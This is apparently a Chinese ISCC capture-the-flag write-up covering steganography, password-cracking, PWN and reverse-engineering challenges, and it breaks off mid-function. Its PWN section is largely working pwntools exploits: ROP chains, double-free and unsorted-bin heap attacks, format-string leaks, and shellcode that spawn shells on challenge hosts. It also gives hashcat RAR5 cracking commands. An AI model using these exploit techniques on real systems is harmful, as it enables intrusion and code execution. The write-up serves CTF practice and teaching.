import itertools
f = open('passwd.txt','w')
for i in itertools.permutations("135780", 6):
    f.write(''.join(i) + "\n")
php 复制代码
from lsb import extract
import os
from tqdm import tqdm

hidden_img = 'ATM.png'#image file path
codebook = 'passwd.txt'#password path
passwd = open(codebook,'r').read().splitlines()

os.mkdir(hidden_img[:-4])

for i in tqdm(range(len(passwd))):
    out_path = hidden_img[:-4]+'/'+passwd[i]+'.txt'
    extract(hidden_img, out_path, passwd[i])

From Hex之后再To base85

人生之路

步骤:

给出提示可得flag.zip的密码为:人生之路.jpeg

解开,通过凯撒移位和密码表对应即可

汤姆历险记

步骤:

通过kali查找和分离图片,发现一个zip压缩包

同时原包数据进行次数统计https://uutool.cn/str-statistics/,递减即为压缩包密码

填入可得

解压后是一个文档

单倍行间距为.

1.5单倍行间距为-

解得ISCC{i2s0c2c3},和密码本对应解出即可

解题收获:

注意:打开方式

否则我会出现这个,另外kali里不能直接解压

mystery of bits

步骤:

通过010改一下图片的高度。

拖入StegSolve中可得

旋转图片拉一下

通信方式

步骤:

php 复制代码
import scipy.io.wavfile as wavfile
  samplerate, data = wavfile.read('telegram2wechat.wav')
  left = []
  right = []
for item in data:
  left.append(item[0])
  right.append(item[1])
diff = [left - right for left, right in zip(left, right)]
  print(diff)

会输出很多东西,从里面找到1,2的部分,复制出来,如下所示:

前面有空格,最后的逗号去掉,运行下面的脚本

得到的数值,去利用math.sqrt()开平方根,然后得到的数字填入下面的脚本中:

php 复制代码
fp = open( '1.txt ' ).read( ).split( ', ' )
  print(len(fp))
php 复制代码
fp = open( ' 1.txt ' ).read( ).split( ',')print(len(fp))
from PIL import Image
img = Image.new( 'RGB',(45,45))i = 0
for x in range( 45):
for y in range( 45):
if fp[i]='1':
img.putpixel((x,y),(0,0,0 ))else:
img.putpixel((x,y),(255,255,255))i += 1
img.show()

Image.new和for循环所需要的数字都为平方根得到的数字,这样过后能得到一个二维码,扫码得到数字,

把电码转成中文(注意长度,该网站一次只能转部分,需分次)

然后可以得到一串中文,音译可得:

消息传递

步骤:

看见密码本猜测有文件传递,到网上随便找一个base64转文本

得提示,下一步

p2.png可分离得到,rar包密码提示

找一下pass:WRWAALIUWOHZAPQWFTQIPMVJFOKHHZUZ,为下文密码(直接用)

得到一个压缩包

题外话:


从属性上看RAR5版本的,存在密码(rar4存在伪加密,ra5不存在伪加密),用原先的爆破软件显示没有密码,文件也没有损坏,目前看应该是版本问题

https://juejin.cn/post/7124136338915328008

网上查询可得在kali中使用rar2john配合hashcat

php 复制代码
rar2john 1.rar
rar2john 1.rar >1.hash
hashcat -m 13000 -a 0 1.hash pwd(密码本).txt

-m参数是根据rar类型进行选择的,这里是RAR5所以是13000

-a参数是攻击模式,"-a 0"字典攻击,"-a 1" 组合攻击;"-a 3"掩码攻击。

1.hash是保存的hash值,见第二步

pwd.txt 是自己的字典

此报错路径问题(别放桌面就行),密码本同理(可以放root)

虚拟机内存不够换主机,https://github.com/hashcat/hashcat/releases



https://uutool.cn/txt2bin/

二进制对照一下,0100翻译可得ISCC{i2s0c2c3} ,和密码表对照即可

解题收获:

(没事也可以翻译一下这堆)QP编码http://web.chacuo.net/charsetquotedprintable

你相信AI吗?

步骤:

直接kali运行

php 复制代码
python 1.py

1.py(创一个out文件夹)

php 复制代码
import cv2
import numpy as np


for i in range(32):
    with open(f"./dataset/{i}.txt", "r") as f:
        data = f.read().splitlines()


    image_data = np.array([float(line) for line in data])

    # dic = {X: int(image_data.shape[0] / X) for X in range(1, image_data.shape[0]) if image_data.shape[0] % X == 0}


    # for width, height in dic.items():
    if image_data.shape[0] == 2352:
        cv2.imwrite(f"./out/{i}.png", image_data.reshape(84, 28))
    elif image_data.shape[0] == 1568:
        cv2.imwrite(f"./out/{i}.png", image_data.reshape(56, 28))
    else:
        print(i)

2.py

php 复制代码
import string
import itertools
import contextlib


def has_visible_bytes(input_bytes):
    return all(chr(byte) in string.printable for byte in input_bytes)

cipher_text = '51 59 75 95 56 46 669 95 28 59 75 40 27 78 680 57 56 55 53 664 30 40 681 05 72 76 75 661 683 56 96 96'.split(" ")
# cipher_text = '所有图像的ascii,空格隔开'.split(" ")

with open("out.txt", "wb") as f:
    for i in itertools.permutations("0123456789", 10):
        maktrans = str.maketrans("0123456789", ''.join(i))

        lis = [str.translate(i, maktrans) for i in cipher_text]
        
        with contextlib.suppress(Exception):
            plan_text = bytes(list(map(lambda x: int(x), lis)))
            if has_visible_bytes(plan_text):
                print(plan_text)
                f.write(plan_text + b"\n")

在out.txt的包中

base64解一下

解题收获:

没安装

Importing the numpy C-extensions failed. This error can happen for many reasons, often due to issues

降个版本还不行

听你心跳里的狂

步骤:

发现flaggg大小是正正好好的10mb,字节随机无意义,猜测为加密磁盘,这里使用veracrypt,将音频文件作为秘钥文件成功挂载

使用winhex分析发现该磁盘删除了一个文件,猜测是先rot13再rot47,得9a2126552a9de60d20d95a47f85a16fd,使用somd5解md5得到Logistic,得到的600.png

发现该图是一张RGBA图,且对图片反色后能够隐约看见flag

使用了Logistic 置乱。不清楚参数和初始值,给的600猜测是最后的xn的值,

写个脚本进行爆破

php 复制代码
from PIL import Image
import numpy as np


def logic_encrypt(im, x0, mu):
    xsize, ysize = im.size
    im = np.array(im).flatten()
    num = len(im)

    for i in range(600):
        x0 = mu * x0 * (1 - x0)

    E = np.zeros(num)
    E[0] = x0
    for i in range(0, num - 1):
        E[i + 1] = mu * E[i] * (1 - E[i])
    E = np.round(E * 255).astype(np.uint8)

    im = np.bitwise_xor(E, im)
    im = im.reshape(ysize, xsize, -1)
    im = np.squeeze(im)
    im = Image.fromarray(im)

    return im
im = Image.open("download.png")
from tqdm import tqdm
for x in tqdm(range(0, 11, 1)):
    x0 = round(x / 10, 1)
    for y in range(35, 41, 1):
        mu = round(y / 10, 1)
        im_en = logic_encrypt(im, x0, mu)
        im_en.save(f'./out/{x0}_{mu}.png')

n = 600 r = 3.7 x0= 0.5时得到原图

PWN

第一用笔

步骤:

ida中分析,合理猜测对面文件的内容是用笔九发的拼英补零。然后可以绕过第一步。

得到一个可以覆盖返回地址的输入,在ida中发现有一个read可以构造超长输入,那么就返回到这个函数中,执行输入,我们先将返回地址覆盖为一个put函数然后打印出put的libc真实地址,利用这个真实地址和已知的libc版本计算偏移。

php 复制代码
from pwn import * 
  context(os='linux', arch='amd64', log_level='debug') 
  p = remote('59.110.164.72',10026)
  # p = process('./pwn') 
  elf = ELF('./pwn') libc = ELF('./libc-2.23.so') 
  # libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') 
  pop_rdi = 0x400c53 puts_sym = elf.sym['puts'] puts_s = 0x4006F0 
  read = 0x400b0f 
  # payload = b'a'*73
  payload = b'dunbi000' 
  payload += b'cuobi000'
  payload += b'yufeng00'
  payload += b'dunfeng0'
  payload += b'cunfeng0'
  payload += b'nvfeng00'
  payload += b'yuefeng0'
  payload += b'anfeng00'
  payload += b'jiebi000' p.send(payload)

p.sendafter(b'space\n', b'a'*0x28 + p64(read)) 
  payload2 = b'a'*0x20 payload2 += p64(ret) 
  payload2 += p64(pop_rdi) + p64(puts_sym) 
  payload2 += p64(puts_s) + p64(read)
  p.send(payload2) puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) 
  print(hex(puts_addr)) offset=puts_addr-libc.sym['puts']
  binsh=offset+next(libc.search(b'/bin/sh\x00')) 
  system=offset+libc.sym['system'] payload=b'a'*(0x20+0x8) 
  payload+=p64(pop_rdi) payload+=p64(binsh)
  payload+=p64(system) p.sendline(payload) p.interactive()

chef

步骤:

php 复制代码
from pwn import *
context(log_level='debug',os='linux',arch='amd64')

#p = process('./1')
p =remote("59.110.164.72",10031)
elf=ELF('./1')
libc=ELF('./libc-2.23.so')
one = [0x45226,0x4527a,0xf03a4,0xf1247]

p.sendlineafter(b"Your choice:",str(4))

def menu(choice):
    p.sendlineafter(b"Your choice:",str(choice))


def add(size,com):
    menu(2)
    p.sendlineafter(b"price of food:",str(size))
    p.sendlineafter(b"Please enter the name of food:",com)

def edit(idx,size,com):
    menu(3)
    p.sendlineafter(b"Please enter the index of food:",str(idx))
    p.sendlineafter(b"Please enter the price of food :",str(size))
    p.sendlineafter(b"Please enter the name of food:",com)

def free(idx):
    menu(4)
    p.sendlineafter(b"Please enter the index of food:",str(idx))

def show():
    menu(1)
    # p.sendlineafter("")

add(0x68,'a')
add(0x68,'b')
add(0x68,'c')
add(0x68,'d')
add(0x68,'e')

edit(0,0x80,b'c'*0x60+p64(0)+p64(0xe1))
free(1)
add(0x68,'')
show()
p.recvuntil(b"2 : ")
libc_addr = u64(p.recvuntil(b"\x7f").ljust(8,b"\x00"))-0x3c4b78
print ("libc_base -->",hex(libc_addr))
malloc_hook = libc_addr+libc.symbols['__malloc_hook']-0x23
print ("malloc_hook -->",hex(malloc_hook))
gadget = libc_addr+one[1]
add(0x68,'f')


# free(0)
free(3)
free(2)
free(1)
edit(0,0x80,p64(0)*0xd+p64(0x70)+p64(malloc_hook))
add(0x68,'g')
add(0x68,b'a'*19+p64(gadget))
# gdb.attach(p,"b *0x400ddf")
# pause()
# add(0x30,'test')
# gdb.attach(p)
p.sendlineafter(b"Your choice:",str(2))
p.sendlineafter(b"price of food:",str(1))
p.interactive()

double

步骤:

名字看是double free的意思,代码都在一起.free的时候没删指针,只置size=0,而add,show,edit都进行了size检查,唯独free没有

php 复制代码
from pwn import *
context(log_level='debug',os='linux',arch='amd64')

#p = process('./1')
p =remote("59.110.164.72",10021)
elf=ELF('./1')


def menu(choice):
    p.sendlineafter("请选择:",str(choice))


def add(idx,size):
    menu(1)
    p.sendlineafter("请输入序号:",str(idx))
    p.sendlineafter("请输入大小:",str(size))

def free(idx):
    menu(2)
    p.sendlineafter("请输入序号:",str(idx))

def show(idx):
    menu(3)
    p.sendlineafter("请输入序号:",str(idx))

def edit(idx,con):
   menu(4)
   p.sendlineafter("请输入序号:",str(idx))
   p.sendlineafter("请输入编辑内容:",con)


add(0,0x68)
add(1,0x68)
add(2,0x68)
add(3,0x68)

free(1)
free(0)
free(1)
add(4,0x68)
edit(4,p64(0x6021d8))
add(5,0x68)
add(6,0x68)
add(7,0x68)
edit(7,p64(0x15cc15cc)+p64(0x400cd8)+p64(0)*6+p64(0xcc51cc51))

menu(5)
p.recvuntil(b"congratulations! Give you a reward: ")
buf_addr = int(p.recvline(),16)
# buf_addr = (buf_addr &0xffff)
print (hex(buf_addr))
tmp = (buf_addr &0xffff)+0xf0
low = (tmp)&0xff
print (hex(low))
high = (tmp)>>8
print (hex(high))
# gdb.attach(p,"b *0x400c3f")
# pause()

payload1 = b"a"*0x20+p8(low)+p8(high)+b"a"*6+b"b"*0xc8+\
    p64(0x6021e8+0x10)+p64(0x4008f7)
p.sendlineafter(b"want to say:\n",payload1)

p.interactive()
Footer
© 2023 GitHub, Inc.
Footer navigation
Terms

先在62建个块,size用0x71,然后double free后利用这个头标记将块建到控制区0x6021E8, 0x602228附近,控制这个区域写入指定值得到溢出.写入足够长的payload中转到后门

Chef

步骤:

选4进行第二层,在edit的时候长度可以自己输有溢出

先通过溢出修改下一块的size,释放进入unsort再建回来,利用残留的unsort与2块重叠,show得到libc地址,同样方法利用重叠块得到堆地址.并修改指针将one写到管理块的goodbye函数位置,退出时执行

php 复制代码
from pwn import *
 
#p = process('./chef')
p = remote('59.110.164.72',10031)
context(arch='amd64', log_level='debug')
libc = ELF('./libc-2.23.so')
menu = b':'
def add(size, msg='A'):
    p.sendlineafter(menu, b'2')
    p.sendlineafter(menu, str(size).encode())
    p.sendafter(menu, msg)
def free(idx):
    p.sendlineafter(menu, b'4')
    p.sendlineafter(menu, str(idx).encode()) 
def show():
    p.sendlineafter(menu, b'1')
def edit(idx,size,msg):
    p.sendlineafter(menu, b'3')
    p.sendlineafter(menu, str(idx).encode())
    p.sendlineafter(menu, str(size).encode())
    p.sendafter(menu, msg) 
p.sendlineafter(menu, b'4')
one = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
add(0x18)
add(0x48)
add(0x48)
add(0x18) #3
edit(0, 0x20, p64(0)*3 + p64(0xa1)[:-1])
free(1)
add(0x48) #1
show()
p.recvuntil(b'2 : ')
libc.address = u64(p.recv(6).ljust(8,b'\x00')) - 0x58 - 0x10 - libc.sym['__malloc_hook']
print(f"{libc.address = :x}")
add(0x48) #4
free(1)
free(4)
show()
p.recvuntil(b'2 : ')
heap = u64(p.recvuntil(b'3 : ', drop=True).ljust(8,b'\x00')) - 0x40
print(f"{heap = :x}")
free(3)
edit(2, 0x58, b'\x00'*0x48 + p64(0x21) + p64(heap))
add(0x18) #3
add(0x18, p64(0)+ p64(libc.address + one[0]))
p.sendlineafter(menu, b'5')
p.sendlineafter(menu, b'5')
p.sendline('cat flag*')
p.interactive()

第二识势2

步骤:

后边溢出直接溢出

php 复制代码
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
# p=process('./1')
p =remote("59.110.164.72",10025)
elf=ELF('./1')
shellcode = asm(shellcraft.sh())
# gdb.attach(p,"b *0x400a28")
# pause()
payload1 =b"\x00"*24
p.sendafter(b"Start injecting\n",payload1)
p.recvuntil(b"materials\n")
heap_addr = int(p.recv(8),10)
print (heap_addr)
# heap_addr =int((heap_addr),16)
print (hex(heap_addr))
sleep(0.1)
p.sendline(str(-1))           #change top_chunk
sleep(0.1)
p.sendline(str(6296200-heap_addr))       #get_size
p.sendafter(b"Answer time is close to over\n","a"*0x10)
# gdb.attach(p,"b *0x400b49")
# pause()
payload2= b"a"*0x60+p64(0x6012a0+0x80+0x120)+p64(0x4008e3)+b"a"*0x10+\
    p64(0x6012a0+0x60)+p64(0x400914)+shellcode
p.sendafter(b"irect to destination\n",payload2)
p.recvuntil(b"you pass")
# sleep()
p.recv(0x1b0)
sleep(0.5)
stack = u64(p.recvuntil(b"\x7f").ljust(8,b"\x00"))-0xd0
print(hex(stack))

# gdb.attach(p,"b *0x4008e3")
# pause()
payload3 = b"a"*0x68+p64(stack)
p.sendline(payload3)
p.interactive()

Riddler

步骤:

管理块的ID跟用户块在一起,直接show得到程序加载地址,同时free也不清指针可以show和edit

利用fastbin指针得到堆地址,然后在前边的输入缓冲区找个位置(不能在开始,开始输入时会用)free得到unsort得到libc地址,将管理块释放,重建写入system,再执行.每次正常单前要覆盖v7才能正常执行功能.

php 复制代码
from pwn import * 
#p = process('./Riddler')
p = remote('59.110.164.72',10028)
context(arch='i386')
 
elf = ELF('./Riddler')
libc = ELF('./libc.so')
 
def show(off):
    p.sendafter(b"Then?\n", b"0"+ b'\x00'*11)
    p.sendlineafter(b"emmm?!\n", str(off).encode())
 
def free(off):
    p.sendafter(b"Then?\n", b"1"+ b'\x00'*11)
    p.sendlineafter(b"emmm?!\n", str(off).encode())
 
def add(off):
    p.sendafter(b"Then?\n", b"2"+ b'\x00'*11)
    p.sendlineafter(b"emmm?!\n", str(off).encode())
 
def edit(off, msg):
    p.sendafter(b"Then?\n", b"3"+ b'\x00'*11)
    p.sendlineafter(b"emmm?!\n", str(off).encode())
    p.sendline(msg)
 
'''
0xffffcf40│+0x0000: 0x00000000   ← $esp
0xffffcf44│+0x0004: 0x00000000
0xffffcf48│+0x0008: 0xf7fdf449  →  <do_lookup_x+9> add ebx, 0x1dbb7
0xffffcf4c│+0x000c: 0x3043a318
0xffffcf50│+0x0010: 0x00000000
0xffffcf54│+0x0014: 0x00000000
0xffffcf58│+0x0018: 0x00000000
0xffffcf5c│+0x001c: 0x00000000
0xffffcf60│+0x0020: 0xffffd02c  →  0xf7fcd808  →  0x00000000
0xffffcf64│+0x0024: 0x5655b190  →  0x565557d5  →  <Fun+0> push ebp
0xffffcf68│+0x0028: 0xf7ffdd8c  →  0xf7ffdc44  →  0xf7ffdc30  →  0xf7fd4000  →  0x464c457f
0xffffcf6c│+0x002c: 0x5655b160  →  0x565557aa  →  <fun+0> push ebp
0xffffcf70│+0x0030: 0x5655b190  →  0x565557d5  →  <Fun+0> push ebp
0xffffcf74│+0x0034: 0x5655b1c0  →  0x565557fc  →  <greeting+0> push ebp
'''
show(0)
elf.address = u32(p.recv(4)) - elf.sym['fun']
print(f"{elf.address = :x}")
add(3)
add(4)
free(4)
free(3) 
show(3)
heap = u32(p.recv(4)) - 0x1230
print(f"{heap = :x}")
edit(3, p32(heap + 0x1b0))
add(5)
add(6) 
edit(6, flat(0,0,0,0x1011+0x30))
free(2)
show(2)
libc.address = u32(p.recv(4)) - 0x50 - libc.sym['__malloc_hook']
print(f"{libc.address = :x}")
add(7)
edit(7, flat(libc.sym['system'], 0))
free(4)
free(3)
edit(3, p32(heap + 0x190))
add(8)
add(9)
edit(9, b'/bin/sh\x00')
p.sendlineafter(b"Then?\n", b"0")
p.sendlineafter(b"emmm?!\n", b'1')
context.log_level='debug'
p.sendline(b'cat /flag*')
p.interactive()

困局

步骤:

main会调用两次func_key,func_key里有格式化字符串漏洞, func_1有一个足够长的溢出

php 复制代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  int i; // [rsp+Ch] [rbp-4h]
 
  in_it(argc, argv, envp);
  result = puts("You can't escape. Stay in the eternal box");
  for ( i = 0; i <= 1; ++i )
    result = func_key();
  return result;
}
__int64 func_key()
{
  char buf[24]; // [rsp+0h] [rbp-20h] BYREF
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]
 
  v2 = __readfsqword(0x28u);
  puts("This is a larger box");
  read(0, buf, 0x10uLL);
  if ( buf[1] == '9' )
    func_1();
  printf(buf);                                  // 格式化字符串漏洞
  return 0LL;
}
unsigned __int64 func_1()
{
  char buf[40]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v2; // [rsp+28h] [rbp-8h]
 
  v2 = __readfsqword(0x28u);
  puts("We have a lot to talk about");
  read(0, buf, 0x100uLL);
  return __readfsqword(0x28u) ^ v2;
}

第一次格式化字符串得到 canary,stack

php 复制代码
from pwn import *
p = remote('59.110.164.72',10066)
#p = process('./Trapped')
context(arch='amd64', log_level = 'debug')
libc = ELF('./libc.so.6')
p.sendafter(b"This is a larger box\n", b'%9$p,%15$p,%10$p')
p.sendafter(b"We have a lot to talk about", b'AAA')
canary = int(p.recvuntil(b',', drop=True),16)
libc.address = int(p.recvuntil(b',', drop=True),16) - libc.sym['__libc_start_main'] - 240
stack = int(p.recv(14),16) -0x80
pop_rdi = 0x0000000000400a23 # pop rdi ; ret
pop_rsi = next(libc.search(asm('pop rsi; ret')))
pop_rdx = next(libc.search(asm('pop rdx; ret')))
p.sendafter(b"This is a larger box\n", b'%9$p,%15$p')
p.sendlineafter(b"We have a lot to talk about", b'/flag'.ljust(40, b'\x00') + flat(canary, 0, pop_rdi, stack,pop_rsi,0,libc.sym['open'],pop_rdi,3,pop_rsi, stack-0x50,libc.sym['read'],pop_rdx,0x50, pop_rdi,1,pop_rsi, stack-0x50, pop_rdx,0x50, libc.sym['write']))
p.interactive()

uheap

步骤:

UAF没有show有后门

php 复制代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[256]; // [rsp+0h] [rbp-120h] BYREF
  int idx_1; // [rsp+100h] [rbp-20h]
  int idx_0; // [rsp+104h] [rbp-1Ch]
  void *ptr; // [rsp+108h] [rbp-18h]
  int size; // [rsp+114h] [rbp-Ch]
  int idx; // [rsp+118h] [rbp-8h]
  int choice; // [rsp+11Ch] [rbp-4h]
 
  setbuf(stdin, 0LL);
  setbuf(_bss_start, 0LL);
  setbuf(stderr, 0LL);
  while ( 1 )
  {
    choice = menu();
    if ( choice == 5 )
      break;
    switch ( choice )
    {
      case 1:
        idx = get_idx();
        size = get_size();
        ptr = malloc(size);
        if ( !ptr )
          die("malloc error");
        ptrs[idx] = ptr;
        break;
      case 2:
        idx_0 = get_idx();
        free(ptrs[idx_0]);
        break;
      case 3:
        puts("unimplemented yet");
        break;
      case 4:
        puts("unimplemented yet");
        idx_1 = get_idx();
        printf("input content plz : ");
        if ( read(0, ptrs[idx_1], 0x10uLL) < 0 )
          die("read error");
        break;
      default:
        puts("wrong choice");
        break;
    }
  }
  if ( magics[255] > 0x7F0000000000LL )
  {
    puts("input your key");
    read(0, buf, 0x100uLL);
    check_key(buf);
  }
  return 0;
}

在bk指针处写 个地址,然后再用unsort时会在那个地址上写个堆地址.这样就达到后门条件了

php 复制代码
from pwn import *
 
context(arch='amd64', log_level='debug')
 
#p = process('./heap')
p = remote('59.110.164.72', 10022)
 
menu = b' : '
def add(idx, size):
    p.sendlineafter(menu, b'1')
    p.sendlineafter(menu, str(idx).encode())
    p.sendlineafter(menu, str(size).encode())
 
def free(idx):
    p.sendlineafter(menu, b'2')
    p.sendlineafter(menu, str(idx).encode())
 
def edit(idx, msg):
    p.sendlineafter(menu, b'4')
    p.sendlineafter(menu, str(idx).encode())
    p.sendafter(menu, msg)
 
add(0,0x88)
add(1,0x88)
free(0)
edit(0, flat(0, 0x6021c0+255*8 - 0x10))
add(2, 0x88)
 
p.sendlineafter(menu, b'5')
#gdb.attach(p, 'b*0x4009da\nc')
 
p.sendafter(b'key', p64(0x4009aa)*8)
p.interactive()

三个愿望

步骤:

read读入16字节,可以覆盖到v2,v3,c4,seed

php 复制代码
__int64 begingame()
{
  char s[2]; // [rsp+Ah] [rbp-16h] BYREF
  int v2; // [rsp+Ch] [rbp-14h] BYREF
  int v3; // [rsp+10h] [rbp-10h]
  int v4; // [rsp+14h] [rbp-Ch]
  unsigned int seed; // [rsp+18h] [rbp-8h]
  unsigned int v6; // [rsp+1Ch] [rbp-4h]
 
  puts("Welcome to my world");
  puts("Maybe you can make three wishes");
  puts("In exchange, you have to guess what I think");
  puts("Now you can make your first wish");
  fflush(stdout);
  memset(s, 0, sizeof(s));
  read(0, s, 0x16uLL);                          // 覆盖所有
  srand(seed);
  v3 = 0;
  while ( 1 )
  {
    v4 = rand() % 9 + 1;
    puts("Please give me a number!");
    fflush(stdout);
    __isoc99_scanf("%d", &v2);
    if ( v4 != v2 )
      break;
    if ( v3 )
      thirdwish();
    srand(v6);
    v3 = 1;
    secondwish();
  }
  return 0LL;
}

泄露canary然后就可以溢出到后门

php 复制代码
from pwn import *
from ctypes import *
#p =process('makewishes')
p = remote('59.110.164.72', 10001) 
context.log_level = 'debug'
libc = cdll.LoadLibrary("./libc.so.6") 
#gdb.attach(p, 'b*0x4012eb')
#s:2 v2:4,  v3,v4,seed,v6
pay = b'AA'+p32(0)*5
p.sendafter(b"Now you can make your first wish\n", pay)
libc.srand(0)
v4 = libc.rand()%9 + 1
print(v4)
p.sendlineafter(b"Please give me a number!\n", str(v4).encode())
p.sendafter(b"Now you can make your second wish!\n", b'%11$p,')
canary = int(p.recvuntil(b',' ,drop=True),16)
libc.srand(0)
v4 = libc.rand()%9 + 1
p.sendlineafter(b"Please give me a number!\n", str(v4).encode())
p.sendafter(b"Now you can make your final wish!\n", p64(0)*5+p64(canary) + p64(0x404800) + p64(0x4011d6))
p.interactive()

Pwn Your_character

步骤:

php 复制代码
from pwn import *
from itertools import *
p = remote('59.110.164.72', 10027)
context(arch='amd64',log_level = 'debug')
libc = ELF('./libc-2.23.so')
elf = ELF('./your_character')
menu = b"Your choice :"
def add(size):
p.sendlineafter(menu, b'1')
p.sendlineafter(b"Damage of skill : ", str(size).encode())
p.sendafter(b"introduction of skill:", b'A')
def edit_size(idx, size):
p.sendlineafter(menu, b'2')
p.sendlineafter(b"Index :", str(idx).encode())
p.sendlineafter(b"Damage of skill : ", str(size).encode())
def edit(idx,msg):
p.sendlineafter(menu, b'3')
p.sendlineafter(b"Index :", str(idx).encode())
p.sendafter(b"introduction of skill : ", msg)
def show(idx):
p.sendlineafter(menu, b'4')
p.sendlineafter(b"Index :", str(idx).encode())
def free(idx):
p.sendlineafter(menu, b'5')
p.sendlineafter(b"Index :", str(idx).encode())
p.sendlineafter(b"Your choice :", b'2')
p.sendlineafter(b"Please enter the background story of your character: \n",b'A')
p.sendlineafter(b"Your choice :", b'1') #in
for i in [0x80,0x18,0x18,0x18]:
add(i)
edit(1, b'A'*0x18+ p8(0x61))
free(2)
add(0x58)
edit(2, b'A'*0x8)
show(2)
p.recvuntil(b'A'*0x8)
heap_addr = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x370
print(f"{heap_addr = :x}")
free(0)
edit(2, flat(0,0,0,0x21,0x800,heap_addr+ 0x280)) #2 ptr-> unsort
show(2)
p.recvuntil(b"Introduction : ")
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x58 - 0x10 - libc.sym['__malloc_hook']
print(f"{libc.address = :x}")
edit(2, b'A'*0xf0 + flat(0x800, heap_addr+0x10) )
one = [0x45226, 0x4527a, 0xf0364, 0xf1207 ]
edit(2, p64(libc.address + one[0])*2)
p.sendlineafter(menu, b'6')
p.sendlineafter(menu, b'4')
p.sendline(b'cat /flag*')
p.interactive()

eat-num

步骤:

有溢出,感觉怎么也应该放到第1个,不过只有read没有输出,只能用一次过的ROP

php 复制代码
from pwn import*
context(os = 'linux', arch = 'amd64', log_level='debug')
io=remote('59.110.164.72',10067)
libc=ELF('./libc.so.6')
elf=ELF('./attachment-38')
print(hex(libc.sym['read']))
print(hex(libc.sym['puts']))
print(hex(libc.sym['write']))
print(hex(libc.sym['__libc_start_main']))
ret=0x080482b2
pop_4_ret=0x080484a8
read_plt=0x080482E0
read_got=0x804A00C
pop_3_ret=0x080484a9
payload=b'a'*0x48+b'aaaa'+p32(0x080482E0)+p32(pop_3_ret)+p32(0)+p32(0x804A00C)+p32(0x50)+p32(0x080482E0)+p32(pop_3_ret)+p32(1)+p32(0x804A00C)+p32(0x50)
payload+=p32(0x80482E6)+p32(0x804840B)
io.sendline(payload)
io.send(p8(0xd0))
libc_base=u32(io.recv(4))-0x0d44d0
print(hex(libc_base))
bin_sh=libc_base + 0x15912b
system=libc_base +0x03a950
payload=b'a'*0x48+b'aaaa'+p32(system)+p32(0)+p32(bin_sh)
io.sendline(payload)
io.interactive()

REVERSE

JustDoIt

步骤:

F5,Shift+F12找一下

php 复制代码
int __cdecl main_0(int argc, const char **argv, const char **envp)
{
  int i; // [esp+D0h] [ebp-5Ch]
  char v5[28]; // [esp+DCh] [ebp-50h] BYREF
  int v6; // [esp+F8h] [ebp-34h]
  char v7[12]; // [esp+104h] [ebp-28h] BYREF
  char v8[15]; // [esp+110h] [ebp-1Ch]
  char v9[5]; // [esp+11Fh] [ebp-Dh] BYREF

  __CheckForDebuggerJustMyCode(&unk_5DF029);
  v8[0] = 23;
  v8[1] = 68;
  v8[2] = 68;
  v8[3] = 15;
  v8[4] = 94;
  v8[5] = 10;
  v8[6] = 8;
  v8[7] = 10;
  v8[8] = 6;
  v8[9] = 95;
  v8[10] = 8;
  v8[11] = 24;
  v8[12] = 87;
  v8[13] = 3;
  v8[14] = 26;
  strcpy(v9, "i");
  v9[2] = 0;
  *(_WORD *)&v9[3] = 0;
  qmemcpy(v7, "ISCC", 4);
  v6 = 16;
  sub_4865AD((int)&unk_5DC488, (char *)&byte_5A04DC);
  sub_484D2F(&dword_5DC3E0, v5);
  sub_487C91(v5, v7, v6);
  for ( i = 0; i < v6; ++i )
  {
    if ( v5[i] != v8[i] )
    {
      sub_4865AD((int)&unk_5DC488, "Please enter the true flag!\n");
      j__system("pause");
      return 0;
    }
  }
  sub_4865AD((int)&unk_5DC488, "The flag is true!\n");
  j__system("pause");
  return 0;
}

脚本跑一下即可

php 复制代码
a1=[23,68,68,15,94,10,8,10,6,95,8,24,87,3,26,105]
a2=[73,83,67,67]
a3=len(a1)
for i in range(1,a3):
    a1[i]^=a2[0]
    a1[i]-=a2[i%4]%5
    a1[i]+=a2[2]%6+a2[3]//6
    a1[i]-=a2[1]//7+a2[0]%7
for k in range(1,16):
    a1[k]-=k
for j in range(0,15):
    a1[j]=a1[j+1]
for m in range(a3):
    a1[m]+=60
for n in range(len(a1)):
    print(chr(a1[n]),end="")

变形记

步骤:

php 复制代码
from base64 import b64decode

secret = "=YVYjFWeyMndzZXeyY3YVpnVRl3c"

print("".join([(v) if v.isdigit() == False else ((b64decode("=YVYjFWeyMndzZXeyY3YVpnVRl3c"[::-1].encode()).decode()[i-1])*(int(v)-1)) for  i,v in enumerate(b64decode(secret[::-1].encode()).decode())]))

或者自己倒叙,网页解码均可

<狂彪>-1

步骤:

php 复制代码
mod = 39

a1 = 0x50d7c32f4a659
a2 ="4-chloroisatin"
a3 ="Ammosamide B"
mod_out = (int((a1 % 100000) % mod)) ^ (mod * (int)(a1 % 100000))
flag = "ISCC{" + str(mod_out) + "_" + a2 + "_" + str(a1) + "_" +a3 + "}"
print(flag)

注意:mod后面的文本和数字对应

Pull

步骤:

拖入idea

php 复制代码
key = list(b'ISCC{ACYeeeloorrsuv}')
flag = "00000000000000000000000000000000000000000010111100100001000111100101000000000000010000000010101100101110000110010011001100000111000101110100000001010011000000000"
flag = "0000000000000000000000000000000000000000001110110011101001110110001100100010111001010111010010010010000100011111000001100001000000010100010011100011100000000000"
for i in range(len(flag)//8):
    print(chr(int(flag[i*8:i*8+8],2)^key[i]),end="")

<狂彪>-2

步骤:

php 复制代码
from Crypto.Cipher import AES
import zipfile
import io

def decrypt_data(key, enc_file):
    with open(enc_file, "rb") as f:
        enc = f.read()

    data = AES.new(key, AES.MODE_CBC, key).decrypt(enc)
    zip_data = data[0x1d4c36:]
    zip_data = io.BytesIO(zip_data)

    zip_file = zipfile.ZipFile(zip_data)
    zip_list = zip_file.namelist()
    elf_name = zip_list[1]
    zip_file.extract(elf_name, '.', pwd=key)
    zip_file.close()

    with open(elf_name, "rb") as f:
        elf_data = f.read()

    return elf_data[0xe010:0xe030]

def generate_flag(data):
    flag = "ISCC{tHe_5eY@"
    for i in range(len(data)):
        d = data[i] - 16
        d ^= 2
        d += 44
